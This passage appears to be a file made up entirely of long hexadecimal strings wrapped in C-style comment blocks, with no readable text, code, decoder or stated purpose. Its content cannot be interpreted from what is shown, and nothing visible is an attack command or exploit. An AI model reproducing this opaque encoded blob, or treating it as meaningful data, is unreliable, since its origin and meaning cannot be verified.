d5f6a8e230b14b60c6260b779b397c793d788b506cfc995cd9fdbebccb98df1de7c665d2b90f0e7f6d271c695d483e823e6e8090df7c8b02b5cc3fcf21c18e5c7dfe3e2d7ed3e5be80e199b410130aa52e3d8a6315ae3ed9eb813d989d5d7652bd48e711bf81a983555273242711f5020fd8f6c8b7367d824e3fe117dddf0973044689386e40e9edb37d3484982d3894fb97f49051df3ad7e7c5879f1326e1e635544bdc922e190a2fb0522f11cc6c5aa2b357dcd2eec50c444b9dee7bd8b741770ad3a270fcd8b0b5cad226dd67ca2f76770797be24b799514a124eddf975a02c5732844b78e593c3bc3b80dd75a00a039e1dcd7c11680b7844fe5da5b33afe3f9e86c32044b7ae2f2a0b42a5d9d7b2252c5acab212f6bd7854ce7c7e2500c5393e62dc60a5f86219eb01c1d337fbce1e104539526159fdb6f3a899e7e413810e32355c41265ea962e659995325cb6c20fd0e5dabe8e3dadb4170af7fa5e651c06223ab2be487e47e7d500c3a3f6dd26ccf5b4e4a8eb8182dddec1628f5fce9c4ea58adacd6a33272fe7c7ee6af2c55376e32fc0709aff2fc76304c26e80fdbd03678a844901b79ac39acc78424a240062a4c04fad7b182ca0af2c8409e5e34a1998d21b5a985d4ab18c8087882f6456b2de8b804ff19deddd2aadee077cdb022227f6e*/
/*23d48af8e62944ca5630c3acd05befd005b5a2143d4d8dafe8e0762c380f6703a1310aff34b0a10bdb27242e171700ca735fc706ecd36a465c0343ed60d68b9f7b941fb4741704e1334e7273bdd2bc059c25f64f0be62a6d92c305d20a7290c8c02ddfa88f793f31e061f5a49f8a030efa0c9766bc16d33298de9201877bba1355c85519f7e4995c0a137ab72031329b62cf5fe4759850d00fbd7f8f894baa5fa783529e52143bc59ef909a6e1a35513c53b0fe67e69d165b00e0b0d72fa085275491b5ffdaa47e26c76be1c63379648ea7455591dcc409cca8f9020b381fd22f71e9ada70efc04127f2c64010cde7c3e99c9e2bede29941d18dcfade3f241aec920fd1a4827f2e8ebddb81897e864b8decb8b87b6af4522b41377903a9f68b52ad2bfe9dea1b6f7bff53575a81b1414777bd7e98c35d3f4db2202f867dc042d4aad2a03fbd64b6c8ba33641e06a49027381c313b77d5479d9bef0a54579999e55af329e5f85e00ce9cf09021e7774ca657d4d8132c3548939392aff3607ae7c4fc60dd3fd823ff4097bc9c43dcbf9832a4a06c9b9bede9b778a7bb88c241b2816230753c15ec5e1513947140f78272695f618c7f5b273fd2869bc74aa49f8edca0eba7ee875c11db0d9426e746d035b8002ebe78e587fc2878e978450fbb105f5204a0abf1bacf9f9756f7b5d347b74d92871b8a5b34deb3b50a37ce8b2eb912c1f3e7fc80a3f562e01bc8c23b2430ac59736e911fe18a83459ba0a780cbe3b4bff35e6b3ecfa9668ecde45f868026b2ffc0de7aca09b09b7f94221d57cbb292b11ae808178467015a8c58c170e20f360368d2be7d340f52f2e639f52d52501661a10eccffd80ad2d93dc17620fc4e04901c602b41213aef3c0624230efed6a5206e902bf8f25e5548a5925c0929b1eb9c297206901df1f070915469f281f5270928a5748a0e831e89315addb639ba9d16cc42295013c4d300a249d8428c6523dc4e495c256a61ae8e0482311944ed1f14c4acddca4f4923bc926412cdc6bb9455626929b0feb7af7c3342755d0d3f078d3a8ecd715bf6494b779afeb3855db945dd60e5d31f666e5e1079f45ee469ade673b2d6a478662fbd79e24289556f1cbe9ea26b541cc30a43d4ff1cce9f9d00c7c4137f28f34b3874631e9609e7763efc9026e6b855a5fb8bafd85a7d48528d2486bed7555e0b1d860dc525df3c8d3f50cddbb6394b4324f44a5186996e74575ec8429b55f3e6362b7d17e2cb1f1c8845623f7dff04278605c57ebaf0c7bf840881ba9c84cb46baf17605452fc64027a121a8850907f3a9bf630bc2bdcb99f0a0a28a2e1f56ddb4a8764b87432e0a4a47d6711e519e3bed170549d2634f79d393c63305e5f347a03102177fae145c3c09dcce251552d30a9ceba61aa1cd51869fb0fd781e4af1df77b01741f74f24f3dc2f4e106d24d7c64d765d07b301596e1dec0aed56c81ead68d029dfc7bc70249b8fe3090fe05d2c78413efa39b0126380cafdf3033a641aaa34c52edbb94785c726f62ae772580340127759bd1e0cec40a07f89dea7018e0bcf9067a3249849a63c35382556b6a6171691073e084c99bd82ae8674370109dca758c81aac287235620704812f0b86c149c60b12e70ff5ce6ce78d896c74483f5ac95851f0892e01e257116d846d6af1ce35cb9a5bb5c8cb0f1b0e990813633a1cfcd3dcee222fd4c9c4f6a1a2b99096aa3ef7d97e306af5c7260cea24d168219a2ab4594d3a260fead93cca4384b0050478ca01bfc8df0fde75f62677563edd920506cb170306af1fa5b0f7763f8fabe74c54b607875206b385805c68b21e7767bbcaff3b220375fe1bdabd1c22300b87dbd30039320ca27653a4ccdbebdffca2ba1c14976bf29eca6c28f91e26736d158249426a2413c1c7ba5dcba2f756ce54e332efd7b9991f28ab107823c499d1c1c9a4db9935c9ab2d525f28f14be2c5630bed34e78bb5d964f97758b32576a78c72c40d0970d5322b656498984771368a7e0d2b1ade27ebc3ef3f9c39bf44acab1c024f28ce21dc996172f42e07e3a30703348207f642c36efb85d9121b39ed67626a7cabc0cac785422832a0c7c9c6d1b031fbc3656282410908a9b53bbfb493c74ca9cdadd2c9903c9189bf4482b708b9813788f231a002374112b38ae0471177add21580cdaabe5f57e545b05e9cba9a55bba8362b3fdbe0a2fc60c001f24a197f7d263d1c4be05f28c388849e235d2fe192ca6d18e21db5b0a9b5804b4857a864a17157f92983282281f3cd25ec08ce884f139410ecc9b564ccd817d76fd285c70f7a8c7bce2d84c986d3299aae85d2ba80c04818230a1590ca2c9d24bf05915e11ea3e93bb389fc01522413095833b2224e17f78176a0d3206d6b5c0fd3a9b4422b90c74f0d6c848601c385d93c6efbbac1c76606eb518ab1b73773806c45906d453718d2ab9136b2239302a80f4be628362138043ff19d04b193a451069ea33020967f6acde18b0a43d270bad680cbadffd4a766f4f22f1df1e2feaaf5c305ee0fdde80e364c2051f9705c9aa8b4e0e1461dbf1187e59760405b57c97291987d19f9a0b54260cc9c4e33ea2365708164f71fac6c79719d539a618b06c9d5518f9565ad69fe95449e1158a720409d22bf87ac26220fd9e98e90933d7037be5cd320a498b852071cc95420818f7844f6d10192bb78134e17b24a6c400cb115c22e195760deae4661c7839b4e1b376ac69d96b0229a34cae68228a1478e45a2762d0c11661a3e3433feef398c95f087b02020564a67586d90225e5af602bbd7712e79ab7f*/
/*7e6b555ead0a4bb6963ffd13687bb5750cd8e8fbdabc7bc510a22a48b542604242e507327be62f68dbcf3d53034733265e4f526ffcda09c926b7aa8a2fcf9a251de3d6851eb295a2f2af9e911284e4c228e050bea9285749a7e02515dfd5fb27a124cacf8a1156a089259bcd10cfbf3b0378e3fda58fd0dc10b96eac149313ebf3095227a019ebc4ca2af8938d38891aa9067aa3d7794350c335301f0ac474bdddb088dd3a00aa109774d7701a911b56cd059da0f881c6d8961a25a2f5c99e73f5d5d3b759f9591149268ee4bb103e24da700bba135e25556213f9054cc80f7d63b5b1978ca70f00738cb9c55ce10a5db4f6dd58ded2a5c83ceadd618f3da0f494c22d9f5e11047640c7d115710c01a68269eca886d29e2d51773bd944966ef931ed471fac751332a56608ad49c07bd0b935ddb3eb231e94cc245c1d02ab8c25d613c62c8b4dec964a6bff27741e1d65481f6a23c4e3ed49c21aaf4e09342cd6b901b0e097cca00004caa7cd8bfd296ef3d4bc7d9ff576530b61b002186d897ef0d5810dc6ea447955a1ddbbb87cb0923c998747203b81040d77e6bf79495a06101cab9232ed476904779e1f46b3a48982ae1302ca8e7411624af8e9fceb2d403bb4aee34b0d32449a2c1d58290ba67873a757791fbb22813c864e88aba9b92e019aacaa985a31766036aa282ce8502602dad866e660e19a7d630cce2052c2a0e72f6ec5091512c6f1d3866337ad0027c13d88a92e798576467418182105812dd8c7e5791b21eb4aed28b4d205e776cd4271c36a2dd4c19a8135458dce63f7a4cbeb90230aeb515d456c881fa01e8fb6416fc82ebcb1ff6abcce92844b242a61d34f5d409099812aa09b56b1fabd1dc37e2a72a8cac7db877b157f68104603056df2c22b258e0b975af5ac4e7b884e56cff6b6a8064fcfc1b8958c15e3557d347e1c39d0a6b22c13b2aefd49ac413990f164028353dbc602ce266688fdfc113105cf0a022522b8c13f8afb14c6fe59259e947653df5f1cc337debc174a6d3f4414c9e1bfcafcf620c53ad51314be0dc494ef06f43603194f2fc64c76fdf78f45e9b2f106a7ce0081362dd836dcd9906bddb0b8a49bf121149501e64b8344a7ca771589e176ecdec1a9536e1ae465f39a04e14dcbf971810a5d1eb8c11cae6de922d35027cf9fff1c7927384f6bb8e3df36425d57add392858fb2fbcdda97bb34d61407fec90e20f5527dfbf9af83436b8b32884f7298fe2a5c0fb53ad893ddeaea25dd654e50ab027da9c2db8ebf5828be61d7e86dbd6f3f3b7acb39bc601a3a67f7022b0669563fa3e481d394086c4e1e52d11f1cd5b898959939d105eed979d03a252e93a9481161e0e7e00c0480c046f5b056d42fd65f3c46ffa45d5bc7d246fa481e1165c650b9fdcb73d69ac8dd09f73c8ff342bc08ab1a267bf03a4ef27a4093cf7b5445a8fde5cb288054028dacabb3e629cb3502be1c4030b45dcd9a604e889b0ab5436b340aeb9a7be39576a6a52dc23e1ceb8cd92f26acdad279b364e016263bde2ddc2cc5c5688349b3ee0b71cb61b7ecf5ddbc8705d44055ccb2e24c726e1131d2989c8fed53ff5694d7ad6c269ee71e6e15e5b16d23e6b2beba7b363d268a3cf9193de9580f434235e2f30e32baaeafb2a6bc35b7c09d7050854560b1a50d98fef88bb75e3975a054715a82ce408ab64d22483437542a724324d21ef63446531080b988d0b85aecc5353813ddfdbb54b8ed155cad8450406bcc7bc53382f445c47a4c5eea5f4553fa91d8cc26e231da3e9eba690e229a729edf2fbb119ac453552a9af3d30924627c67f30abee3a2a7b0a7b791655de0255b23e32671c114d2f76528478c0722716537046dfdefacf98d848aced8d4e93141006fcf638208a8f05123d561e138c3194bb0be56bda2aa506a41de05b99b227d787d5022f69a47d9a78643366b785b297d76a3c41ad1b1dc52c8032fc987b5ce54c94a77a34b282fe7f4570d90b3ad24a2cbe7afa3d2089770ae7851aaa079c4af1b6e8f3dc44a2605e1aa637166b2a5fc258db4cfe7a8d5314b65e018ebd682084c13174a54f8186b68259cfbdd88a300877904a88a9b62336ca49d6fd2dc2ea2aadda25ef368326b591545dd7da47cf24215b2e3a7a2def76bfd238e9d651beb60f2ff91ceb5215346b815a8b1aee94fe11205713e24c4573607d6cf7dee1851935ef52c92b34105a67d52a1ad6b68d44c1467de71b9f303d389f075a6bbeb68a77ef1cba47ebf7f2bcd615523f225c652ec97dfc5a9b26ed066ea46621f6fcebc1f2223f2a210ec5433af96d4df7531c5159ef3d63910b3a60d62db98bee4b1921d058ea747fab915405a260ef58987d04e8562dbac0b381c0212fdc4d08c7b9613e2893531215adfd5f8ec0bc95065e2f15f018d19939da21fe608958003d3f2b175bc5f60e2227126bb2080d9c28cd7fcadeec1d15d25621b5fec40dd7b3190574e7d3b203e17127ca6baa430c2350a0b56c232d83d4c33576a5292575b0d3756dd796d4f2beb58412e27b2cd45859d80df2475d6d9e71aabb45b7297b59ab9e2312df9dc6f3534a7888adf8f6a0032ea9ec0087d5ae15318868965c4da8b36c0e5e664a09609294af6639e5b4fb2100c4733a0c2671045dc979cdc8ed57e2b3f4d16bae528b6f6cad4dbfdc0bb2c4ae3444f5ad0f879ff98afef31917d29d053a779c9438dfc7df24b3b704d93689fd5cdb4113f5e8084dc675a8926c4b1fa80a806cf3bf1455ddf02933419c46218215a36323289e1986bd31e2e2b9e0b950d3d9f165958a994c1fcc3192d4a69*/
/*e47b899494e3c3a6969e5cdad64a517dbc956ff83552367f47f8e6ef682f397f0b0f69f05f9e953816033eedb57cea7cd44049b1a3b3c4ce69a0de38b24b98841d42d95bcd5cc623d516d34b82e292669eb14d825e1c5abd186b00071f54cd2fa6cae30109beca26a55a3cd58e801ca49353e656f9df3538234d8e5c4abef3aea02c8c1936d2119c48ed368798ab7ce948408e94db51214dfe2e054d914a5ab8041d335e29feb456526c649980d5b651e835cacb4291277f1aab805db73f2257698411670c7b53fbd192189b415c8ef787f7f700a9c31031d87127d63c291f651e480264d890d2279d6e51c4d4ab9483ad774af8323939e8232edb059ff7f53d10f041535518e047112b943958d3e39b637286b22b005a120327ac6e22f60e3395d655bec9ed955887ebaa88d9e6e19b66831373a046baa4e2bc2995f37f485af6d027cfa1a17993cf911cdde04af6b90356722da31558f9a58102b6272dc5f1c13bd8068e2e2b1bc44086ec67ba089b584361e3a858668c94bdb7095095ffde28a82475f6024fff01171e7b4f45c47a6d94dec251b0ed46e6e817d4cf9d9140d58bf0a99a255405bc2531042d27ebbf5fdc8f0f1514e3fc2395d8e7bc3d8e08a1bff5a126e18029a3aa56c4ae1a71a08e79b0abc28c74c0a851a040e51d5294f6a47103670c854dc506e9ef5480b85c53403deeeb4e418a3fc9f7844705f001cc509747dd1bec335c454715e5e1644cc551c60fd15c6a6314edabd9733f17f8a943f3b41ca995a61a61aaeb3c4069a98d9e042fd5a44f7b0efc624ccff0fb9046a34b9c863d28939a8eed51f9c23863b00cf4064ff43843ea931d070ef7b9527da7974d636fb0c297dae955d70b294159975bc606f07c225cbb09add72fa327432fce2dafd916e621cf820ae7d70a33a5ff806ff20d5709397d7828a321f83f845d9a516c59c19f3019b8d3985af58275cfb8320fc864206583da1ef73e0256ae3ebfe06dda71108a66ca541f9b5d43afeaf254dcd22eeb7f78fe7387ea8c73d4817177404fa8bf6482119dbdff4f98026ca8dddd887473dfdb447a6100f6112a0ee9b88115d1b87dfaf3de9510b2071f4418a562b60061d2d39b089f937daa878ea87fa75c48ed23440a771c5680649967347d3f12a85ee7b9b63a51fba3fe1a7df022c4784094c6bfb2b3490de909523ae1525ed29ed3d4caca90719988c10cf50a5b2ebfbbb06a91b03efaeeab8c4a02ac61ff9fc4f6d7cdd626c52ce5fd155f7c98446eb97fce54463533b79a1c9d23176b458ef9f641791e6cf025ee7f43633ed3185cc2d96de9a34565b873e5fcc7ca032484d3ec38c687fbafae9caf26c524e56fbf3185d23a414bd4a1b43ce5e64c93e2a998cd3f76dc75a86c53d0306fc1719e09e72bfb3c626890c7861e9028acc54c2a9c0ecd1ebd3bbb758ed3c300e164671ea70be8c87ec785b193cef0872016e63dffa6aae1fbce7fdc9d3f4d26bc342d176f933c3f75e75e98a15fd38a8bd98e8d1d900e430fde3cbde44e88db185021812b85c72c676705589941c703266311b715fbdd09b05925d558b74ceccebc076d45d9cc728c22bb6086f7e89b94e8e502c33ebc29e26e303967fac8bc163f7daa6f9c73901b39e25204bff6f72f8fde22f0e0ecc2ca6002033c3ab370f47d6d2160c20111b9d3715bea843e4b79a004320318a05069a3376abffa4f8a03988547e4b421bd1274a89c4ade7338a35369a72ee7eb7313183a42e9b7ba9b8f385ab661c938106e43c5c408db4edf1da5f73d74c779ca9404347ba0b0dfb0a063ecc5fcf170d9250857bcb75042f3ecbe9b4386fbc116e32e3a4a3f357e4cfa031aa94af24826ed800495da7eb48247f4553f19c51e1bd0f2aae643b1f7b8b13445106185a9fb177e8fb78203c95f8a94da4713a25ea6dc2d06cc07ca12a79146e670fbb903e90c2033e2396ad9a3d35dbca4e9a0a6bb43ad0144988fce7a380edbeb455bc71d6568b524d81bb6b1c9b921e4658a222ee92eef4b4dbd912d8a5ee90903500d5b639bb34674bfe25c47a59bdd9fc16b7bb500d14fcdb5e09c37ac19d423c6af47e730bc1fabc5378b42c4d12fa989381bb960e95b5ae539ec7b0d24ca625f463d1f60b1fe281a87e9ea09b9427232c7dad38567c32079a0cce72ac84036710b9b496933b458cdeff498b45ff1669f3c6b8bcffdf1a11128eead2934eace0c604a2a4937058825457f35732f1078c08d996aedc818bcbcd0c406b79e7a7fe652ea6cd4184f2c21d11822a9a2541c30b4907afba49331b3bb8fea6bee907128bbb84f8060196aeba6e0a35db7da25a77ecac168059c9216ff816e5b2c27515e0d326f373e7e58068d08b1f3ac20c71ebaf4bd3dd5b41707ce1ed11f8b2d5df86f24163663d638a54b2095c04d5ce71445cbc0b30d22f83690b3edf563098a4b7608fa892e0ee79d693eea3b12c7e687c7f9d509378014f58708f39f41c98450459ab0c548beda5bbf58a9c11717f1ab8639dd528cff4eb9e690ecf8c0d84c4dc8a5f91fa02c53f763a931d6ace2bd511892cb56e9603262a097bb8ee3d6929ae0bf132d5213ac4e003767dff4f06b73baa0e8f4967252eda98c65f359749ae089c281b8d8cab10909cc668f1bc37e68ce1262f2810f6b038fe66082f3a74936d56467869611db9a464e8db42f8c9a5d14f8f1eaec302cf753b3db4c1aeb9204494276cdb6fe3421cba2cac8a12e2f35bbe67a06deaa46c1b51b1d8641a1b7fef9e4e12e6fefeffe17fa607d0066310f297cd7030c07adf1518f8422cdac6c233ebd72b792b7909e*/
/*9a66860ed4effe6c6d884b6e39b68230d8753618238c55187371161a1f9768971ed967c36ddebaf363af1941227d9cca039b6e6804b19152fe2e111229fc2b856ad943aaebc66317b954edc66e66ccb9c51107880eaa89d657c70e142474ae7751cd582a8a65d2d8a4a2892e111c4c0e537a8a6ed3d71e7e8b094979ffc739bab904a7459c77d2f16349db966d11c612498f3533e827e3be1d87c96055ffd0fe69e482f65d3562e75353c4b2d93593c8d24e5e1033fd0f248848420a0e72a63626f67ae95e0d90efd621fc52154a8eca6b2a09ca197d7d04b7e91d059e34e586facf5103adb8915cc1cdae2e2e8e7b3a37f71907e329dced3894ad3bdc61d712e3fd8ec832158a4a3af01cdbefc83c72b3d7682ef015de16aea54ec56b49747a1ff60d49af026b24893412705398ef45b8e0c78327a877136fb749592f0a7f04088ad318f89dadbf4f0891945c435b4e29237b00e52830645915d4560b6c44b64713dcca5ec0bd623f60390bcd3b77b2523b1f9e8d1a8f2aa94a10a68840ecabc632a950cb4976ea6ad2f8ee24c1713dfe17e64d980dac460ea6f18a06a94f1b989e83f3d5ca3ccf385d5b24b68010d698ef347ddac4fe885372ef0a86edfda6d43adc09e08ef08216fb08163076ee3f8d936f9e29b4eedc04be048a5cf18d1d6cac274f0a5a39bfb5bf5d7b6f244fb148b930ca8678e00a1de65ca2a3b7a3d0a9f6bf004e013eb70bcadd36a983e899b4dd7c4c2ee64ea55b0c2b31d8bb9ab3e08aebb4374930e8f65f3cf54dfcc1855580a1f8d662d7c65e88838cc4deba8ebaabc3b2cd6f5981afb317601058892534d2f14588b1bff4838880ef5a34a0748516e53087e6230dda2132f12c4be22e4493d1ae7e24e0a49226daf96f3373bb4884d98e5875eb801d597ab89599838b0376dccfc5c1a6b4c54a34777f34643eb6c45400842f5d2259b4345f1401c2ecf5d1e2aee5bd96d45e9097abc87b07b3a4f4286bb59775e7ab73eb9eed8c418b831951110ce27b15f96005e1dffc8a26e621819671c655d850a07c06f2b0139deabea4a8e8a133bc45a7bc0fb7481d6d5d2d4db9a49ab33a8ba44f371c1338e99eeacf7b95e5e412a22f7489ec1117b5ff27c7317936a333b429b7f630d3967bbc8a6daf66de9b149dac7cb53f47761e9b61762b72c58862c83a5fd360abe0115f128626e32eae9c5340f9d34343d56bd8a482895f2e90cbd5414fb4cfbbebc2d3ba2a93768035b4c1216cbd4a92617e90928e0d0878a966b043d3d126a1a6e1b8acc19e958aa44c7f1468dbc53406febe0789e0dea9fd0ed734b3315975baced55562d1b020df254ae9e1b3dfc37ec15eb7682ccc84bbfd8598ca1e735fbfab21b63af3635d701c77a61fdd4535554332aa71261579e3d2d4fe26466c23d55db8cff1ce4c835cd71969aaaa17a5ad71af7dc12bd5101428eca8880d8937e7f0d646f0aaf73b75fb0963316d613b4f5eeb35d65879424930e3666b1275cf3bafebb78b5ecab9b2f90abecceea0c51d460e190c061ab19d729d9a419528f781d1159882a0631153ea63218359b760ef79efac4f808a52b209c53ee665e931f85d5d1da1e7d4494c4cfc87fc361e3feda6fbb67930b01a60ff710975a737145a65950ef5a4f3392852933c2ddd55ccb7d8cc34fd7af3b8b35025aa3f550952b0dac998dc2ddf16b55beee15f6aaaa0f78f8f5a05b7a721d110ca6cdb021a6ea97630e0af168d848161499515878735df8f209a687e32379c61e59f10dc88f7810e049a3fd11bda527a68e5c99fbc972950fdb967b639076acf13879a06aa3b1714c246214354b77aaa7253c9820a41af8669e8f79ca43880b14e093bd3b6b3a71ff18cfdff296ebe64b00cc04e38c4043ef9896f8c1f749640549ebd5304fa453d3667a758e14aff7dd8de2c0827e5312a820f04d4c488eda0c251cb42c85fadce6fde6a1fbed4693e4ff2fea8a5ebcec62c50a5bfc6b1f728df4c876ad26c61517bae324d718baecef7b4fc47aa588aebcabca2e47228c7773cc67f39039a6213ab49434770bb1dd246a194736b3b1153252e37a58223e03806a06587c9cdedd2a44b3d106c929c0d64a394be403b12c46df406b47a248260d78f955f2123c447ad10a4644cec2c899bddec09538cd174c633e84f370350733b31fd03dee1b1452b21fd8c5ec305dd04d5ae67ca00be658bc974a67af810249333706e45307941ecdc66a65ec8023ceb67f03606618f7f7de2204c958c6fd7e76cd74cb6ca5fd21ffd187dde832edbbfdaacaff60a6f13799915edd613eee639f850f28c0e8afbffcea626ce4ee90422e9e9324571f39a5a751dd32d1273567557e447e6c9b217d18ababf46902d8b261d226785586281a10f279b347be1c74037f1695d0d58f6697af47d2c884ffc3ca6629eaa4909567f1a97d5937e4b758960889b02838f9c4df9bae7c17e2f76c22b65c7d42ae7e973e96cdf22dd4075f3c48c364b8e788438885c987c116335daff91717fca7a0d303c045ee4557a3c3da7324a6ec9731605974b152cbaefac7092cb240e11ed883973cd0e29f8571fa596db298026165e5a3554e42fc273e97ae892439e12df6e4912424685edb2cfa1f12dd27f1a7dfcb416b1abef20bd8cc7c214f970b634b5797b42d879cbe273736c229bd7cb4a860f0d49800380f61d12b3d6dcae9b3ff40472d981e5c5ff195765c35bd8c6bc32f32968f3976b081486055946677b52ab361a7c29280dbcacda549b7379cf8cacccfdfe5241811e74256124885cf7e64eee030c64056880bd1165e7300084de6b*/
/*df4dcaa88d2632b974d0c5685add4beeab9170b40f003b639d9c9aafd2b724e99136fdef71a44bea476aa4b0869fa513a5e177cb89a9954303df4986c899892ff68cae181183b3219aa5ffc67665a6edba5ec9fb5425129a188d29d0c3914bb1f7f2b325515ad638def6747077e4957993b495ca1682f5b5e46c42e8267341c8b0027f2f1342d5f453bc4b69db73e3c76232e874b73fa7120c26bb67f4c4b6dae146028b598a17cc345439130d377d19ef9b5f4a9e2109494349e9dadb414e0aef7ff5d9aab440369676ba26803a3c906aa61005bf6acea88d9cbe979379ca2c7d8f848f84860ecdd8979afc8dc2eec35cd6be8c9a8a7d972ea162a0239e740974e04bf7f6581b60fbb01789df622480fc868f7ef3d867ac6a0a0f4023d98cf8af4fef117b023b444de61d1d999fc69cecabfddd17665c00cf5af0933fbd7b03a7d7985856e8c07a8346c435937a2427bacd4631f75fedfb58417b7cca59dbe0a6f8eb4c9dd68419c6dd6555fb20a5551a22241d2bb81c476be34d2d965a1987f7a86d68fb7ddd78665a305198f1066c46338446cc5d986d5a425aeef0566643510360f91a51a2c31e65115c87d28c3e5a6364ca336fbd4284db60ca27baa13491fa4dc9d09ac10c47ff88a8c43cd832aab47c981f6f3917c35967c0355134ebd74ad3816dc5a8fb600fed450dda07bffab9ce3cc1cf1cc7c7456b8549e2c51e3872051d1dcb107bf9425ec442917c144998a329128359771f6298f81e72d3374abddcc7f49a424265418261ab7ade7500b535eb8e6abbef6a42d7cee379f2817023d5cb309938daead1a9f97c9b33c5bc6b46af4c1628275faa57e01f0475d2483753b865aa14936e198f786a486d9ed6ff4881acd886df465d9d460ca0d04d80388e8567f10fe980463937c8ab4adfecd3ad9d449327256e0dc6385b6e2412e6c07e1f160d322864612490ad56719ce77cdb4f5e8628b2ef70b129f3659091527eca4f1531dfd9cf3a4106f34e33b5cf5f907a5d01def24a8e2098920f2a9ca575f311a2c301e3079d7f8ac080e2632dcb73f400994a01a38b7503fb71e3e662802355ef1edd6f259fd7280b6953704216eba5de8a5302d92a1dc2f4931c4c7f491a471baf8bba17e9db3052845b77fd28bb3f5155889cd97f83e1198fc9014c2731715e7b5a09c3c9892c63033217991aaec0555f94bc3ae1a3ab3d09411e2bcc48c4ff524437fe7de32c088656ab7e9c0edf1c2f638969e3bc7026f7417793c6c27649c962e55977475b35cff17f91c525016c19d35433a2aaf0a1fd272ab8cd9fa663cf939abccc8fecb529be430672bc4f4f9a5747ed536d03ec662b7a93cdd25519dd3b6ad1ef6643dda487f1d4f4d6b5c3163d1fc29266d89d7dde3a229c45f3a32a22b234d9be05402c7dbf8b8cfad56b3fda5db8a30104096665ec9efdde47c8f47d8f5c3f4153b39a11460661345e042b63acc169f00d2959e38286ddf3db9826a229427e0a665f9f2acac8182519646921b86d581cf2845d63312cc08dcc55e0c732e4de994e04ed9e23323db25a8a6a624a77bae41e0412766965213ce3ad3b219e8059350e28bf24e4457739189d964d29e7e8adc3ff6031a1f26cc0068bd09a0ec27d139b8a139e8430862c80a5a79727dd6d835fd354df71862006b6150da7bd66ce70a25c2a684603516be21a7cf7f33675c844805d88cf3bc06db9d889dfb92d24c505c8b2fec1ae735ed1696948f21b4b4ec634c5c02a5e76f66b86780fe9a21ee60db2b39e2a35520a251029bbdf9f586bf0a7e798502a9d4ddfb2d6d4ff5d9c80f08da54cb05cdcf21743383900e8edf603c26f43f6e43e96d271045929d27a12432b82bfdd21b32ff22ba43cfb5d5b469c0f064004baf348de093f87f750d8280825de5bf26fabc480f94aba68967503b37816e5090b2293dc0e5f3d476b5a8a724a3bf17b1047300716de29296bc099d251a726509633123a0dc29f4f4086548566538d366534bc25b72eb050390ae742bfb84339b47b0f45ce22f309108432b19fbe319929a7b7264938443ab808c99bda635d4a38442914db85a9b652bafb6d6f1d79be8f2517a5e197d1ac4736ed83efe9193c20a493c1ad4d859652074ab0625b618997397317fe835544e553a7cc686a882616316c1fa401f458b4920394084ebed80fa687b6875653fb49ba43831a8c2e7da8775556bd34ff06d24dd2fdfe098873be401c214e2f140be78ba019194d0b33c9157ee4aaddb13942ecc23c5b7e9883567261a60c5fc7297c1a691a9509ee98caf46c550bffe06126c9b813241faa888a1a7d3000dbb6df8bfb9a55362f5472c739fb9cdabfb2501b2b2e9473f8f6b28f7c3d9fb5fdf415537d661c1787d759cdcdc95d3fc41064d24370f2e5c42e2cec58d240d1b9838dc2371dd05b9e4c5f581cdc52df9cc48bcbc1c6f9fc566db9dd2a23fd062bab5a75e594051957f9f5545989dd2f7a11580e65ac543a6b262816baf7d6b49abdd8f613d99cbde91741321ca1b4683b700a9f48937adc63b4a8e036390e52b738a72f44894564519042cabfc9bf34e5c726382c2e56a02f1d6d5929630368933bdb3b8aaeb6d262c91966ac0ce032e17b4a7e8fbc44fbed8c1b249c9c17e12cb8a961862efcb4425ac697dc54c97eb971bbe6f2cc48995c15ac4a3e0beda31813a8fa6350ac24e0a8c9a2aae10c6b6060e44e3c61ce73b67f1ea5f04d7841925f38c4cb63078c1303d57be180a69c52d41267c9abf408de75e446cc4d9a6fb3059434b1b2f9b1848a4f3f40583a6bd9019e4b65838fad1b59bf*/
/*272a25e9e4671555b16dbe772168b5e1f5a0b3f0258f7b3c56c84b9685184316cc60c4bbab9347058efe9a8e40e53fef5146454b9261fe9663dfad262568d94e500c1d78cc1cd11d46b1029fd5a4da603d08e661fcf1dc7301d96fea0be7243b0869c4bc9af65ff77cbd03d2731888cd50d440cec6c89fd3b2802be5a1b892e6f92b5b4be58e2b41623cf0969d0e1800acc1fcc13fad17c013c0965276de30cd512b03912978135307b5ac0ee335e62109510d54e203045c093e7f7c33b0fef1f31cb5967e7c1a35094ab1c5d942d303e929b7396e51e6f5de508c5ce84e1d9d9e3955647a8b644dbd6faa5cd2c8bc44fd949d0e7f4c1a1df19777bfce93e5f72a147ee963cbdc2bc67b444bc2c4a9b0e4b92164c82f61eafdcb38ac0b481e5aac71d82171d5a027c6ec68668d1e0356fb1f369f919f32145ccd22a8f9cd8a87b83a04935be829192441052a45930717bc44b9f21dad5a4060275fe7db5c9e6cf55fa57d8947d7d6fdba8d37920ad5e93d93f55d16fa959158ad575d842db201eba9a3495c2a1ed6ea8461ee5605e10e412125f5a6e20390f4c9cefe831016a563b01a6ffb1eae9235beb4bd91ed364d30fd34c4da181e42a9d9bafc6f6309455df14206c844c65f78a71e506196c17f098e9611076532e7971402f5e9c5e94a012b7a4b63bee5017f35392a1024361245c7c37f7bf5e1bb46a357a916e35037ea92537322dbd95e7a95670c1fc972c1033ff0ca6a111875538827fc4e02b8753cade5c97e91b055dc98385af7a905b13df4bf08246bc28e3422aa770bf023de2babef95ea4e44bf16f7835bf0534156fa44a8130d49729708ccf4dfa0ffe512e0d0d2a02424347298e84c636a0e378f80659efdc9fcfd3180e387b5617c9f738b3596f770f41c097208a46658b770836c0d222eb5ebcf91b7bf3a1b91d492831d0792ed0b2d6839b23f3ac34199cf27ecf643b4a511964e67c58a53b4fae8af3a530360cf9f45fd691c43c0afe2eb1ef8bbbc28f800ec252c8d64e1508370ee9560c59a962858b456afe9e032fa74bd7a63df05cb86aad94c8c8c3ec9259174750a8e653e6e76d6b23f045ecbd3ad59ee5350b19d1df2410155e400f5ce2cc17057eabea1ef8208fdbbd12717d78269e1d9a2a85b3588a390f5f93d291f12e150dee8300cb2b0885ad112be1b668d53e7a6251e7af40082f3044a15ac8c8c7e10664a325f16dfeee48125af237da594e23308ec400b4f53be4c20024ec8ca21eff9e509474f909daf434fa528709dade5c247512fff6a51008d914b25b5cbf98975a81a7881914a394665804b5e5c556fa8eeecc8911064fa97cb203f2d4fb9d91a7975c4a7b68624314f087beef70ebad3fd2c679b35c83745c7d18abfdeb4aadffcb6f811989276bff4e54546777d62658095f799a4d8d56608732634ce89801f84616032514f8b0a494225ab21e99711011c80b94499b0f3db26f1749fefd50b843761ffe660d16c97e1395179e83318ee2536b6a5f5a7bcb